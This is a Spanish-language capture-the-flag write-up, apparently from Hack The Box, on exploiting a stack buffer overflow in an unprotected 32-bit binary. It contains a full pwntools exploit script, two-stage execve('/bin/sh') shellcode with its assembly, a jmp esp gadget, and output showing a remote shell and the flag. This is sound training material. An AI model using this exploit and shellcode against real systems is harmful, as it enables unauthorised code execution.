Space
5 minutos de lectura
Se nos proporciona un binario de 32 bits llamado space
:
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
No tiene ninguna protección, por lo que podremos ejecutar código arbitrario en la pila (stack) potencialmente para explotar una vulnerabilidad de Buffer Overflow.
Vulnerabilidad de Buffer Overflow
Si ejecutamos el binario, solamente nos da una interfaz para introducir datos, y después termina:
$ ./space
> A
$ ./space
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./space
Vemos que el programa termina en violación de segmento (segmentation fault), quizás debido a un Buffer Overflow. Vamos a ejecutar GDB para calcular el número de caracteres (offset) necesario para sobrescribir el registro $eip
utilizando un patrón:
$ gdb -q space
Reading symbols from space...
(No debugging symbols found in space)
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./space
> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
Program received signal SIGSEGV, Segmentation fault.
0x61666161 in ?? ()
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 18 (little-endian search) likely
[+] Found at offset 19 (big-endian search)
Solamente 18 bytes para llegar hasta $eip
. Podemos comprobarlo:
gef➤ run
Starting program: ./space
> AAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Perfecto. Veamos ahora cuánto espacio tenemos en la pila mediante GDB:
gef➤ run
Starting program: ./space
> AAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Se vuelve a romper. Comprobemos la pila:
gef➤ x/30x $esp
0xffffd840: 0x43434343 0x43434343 0xffd89043 0x080400ff
0xffffd850: 0x414141fc 0x41414141 0x41414141 0x41414141
0xffffd860: 0x42414141 0x43424242 0x43434343 0x43434343
0xffffd870: 0xffffd890 0x00000000 0x00000000 0xf7debee5
0xffffd880: 0xf7fb4000 0xf7fb4000 0x00000000 0xf7debee5
0xffffd890: 0x00000001 0xffffd924 0xffffd92c 0xffffd8b4
0xffffd8a0: 0xf7fb4000 0x00000000 0xffffd908 0x00000000
0xffffd8b0: 0xf7ffd000 0x00000000
Parece que solamente podemos escribir 8 bytes al comienzo de la pila. Entonces, después de $eip
solamente podemos escribir 8 bytes más.
Estrategia de explotación
Claramente, necesitamos dividir el shellcode en dos partes: una después de $eip
que realice un salto a la segunda parte, que irá antes de $eip
.
En la salida de GDB anterior, también se ve que las 18 A
usadas para alcanzar $eip
se almacenan en la pila también. Entonces, tenemos lo siguiente:
- 8 bytes para escribir un trozo de shellcode pequeño y una instrucción de salto
- 18 bytes para escribir el shellcode restante
La idea es utilizar una instrucción de salto en $eip
como jmp esp
. Esta instrucción se puede encontrar mediante ROPgadget
. Como el binario no tiene la protección PIE, la dirección de esta instrucción será estática:
$ ROPgadget --binary space | grep ': jmp esp$'
0x0804919f : jmp esp
Ahora, necesitamos construir un shellcode personalizado para ejecutar execve("/bin/sh", NULL, NULL);
. Para ello, necesitaremos:
$eax
con valor0xb
$ebx
con un puntero a la cadena"/bin/sh"
(realmente,"/bin//sh"
)$ecx
con valor0
(NULL
)$edx
con valor0
(NULL
)- Utilizar
int 0x80
(unsyscall
que representaexecve
en ensamblador)
Ensamblador
Para la primera parte del shellcode:
xor ecx, ecx # 31 c9 => $ecx = 0
push 0xb # 6a 0b
pop eax # 58 => $eax = 0xb
push ecx # 51 => Push a NULL byte (0)
jmp 11 # eb 09 => Jump to the second part
Atención a la instrucción jmp 11
. En la salida de GDB, se veía que después de las 8 C
se almacenaban las 18 A
. La distancia entre la última C
y la primera A
es 11 bytes.
Y la segunda parte del shellcode es:
xor edx, edx # 31 d2 => $edx = 0
push 0x68732f2f # 68 2f 2f 73 68 => Push "//sh"
push 0x6e69622f # 68 2f 62 69 6e => Push "/bin"
mov ebx, esp # 89 e3 => $ebx = *"/bin//sh\0"
int 0x80 # cd 80 => Call execve
nop # 90 => Padding
nop # 90 => Padding
Un tema importante es que la cadena "/bin//sh"
está terminada con un byte nulo porque se subió un valor nulo durante la primera etapa (push ecx
).
Desarrollo del exploit
Escribamos el exploit en Python utilizando pwntools
. Este sería:
#!/usr/bin/env python3
from pwn import asm, context, log, p32, process, remote, ROP, sys, u32
log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'space'
rop = ROP(context.binary)
eip = p32(rop.jmp_esp.address) # 0x0804919f
shellcode1 = asm('''
xor ecx, ecx
push 0xb
pop eax
push ecx
jmp $+11
''')
shellcode2 = asm(f'''
xor edx, edx
push {u32(b"//sh")} # 0x68732f2f
push {u32(b"/bin")} # 0x6e69622f
mov ebx, esp
int 0x80
nop
nop
''')
payload = shellcode2 + eip + shellcode1
if len(sys.argv) > 1:
ip, port = sys.argv[1].split(':')
p = remote(ip, port)
else:
p = process(context.binary.path)
p.sendlineafter(b'> ', payload)
p.interactive()
Si todo está correcto, deberíamos conseguir una consola de comandos interactiva:
$ python3 solve.py
[!] Usage: python3 solve.py [ip:port]
[*] './space'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] Loaded 10 cached gadgets for 'space'
[+] Starting local process './space': pid 155454
[*] Switching to interactive mode
$ ls
solve.py space
Flag
Genial, pues lancemos el exploit contra la instancia remota:
$ python3 solve.py 178.62.74.50:30886
[!] Usage: python3 solve.py [ip:port]
[*] './space'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[*] Loaded 10 cached gadgets for 'space'
[+] Opening connection to 178.62.74.50 on port 30886: Done
[*] Switching to interactive mode
$ ls
flag.txt
run_challenge.sh
space
$ cat flag.txt
HTB{sh3llc0de_1n_7h3_5p4c3}
El exploit completo se puede encontrar aquí: solve.py
.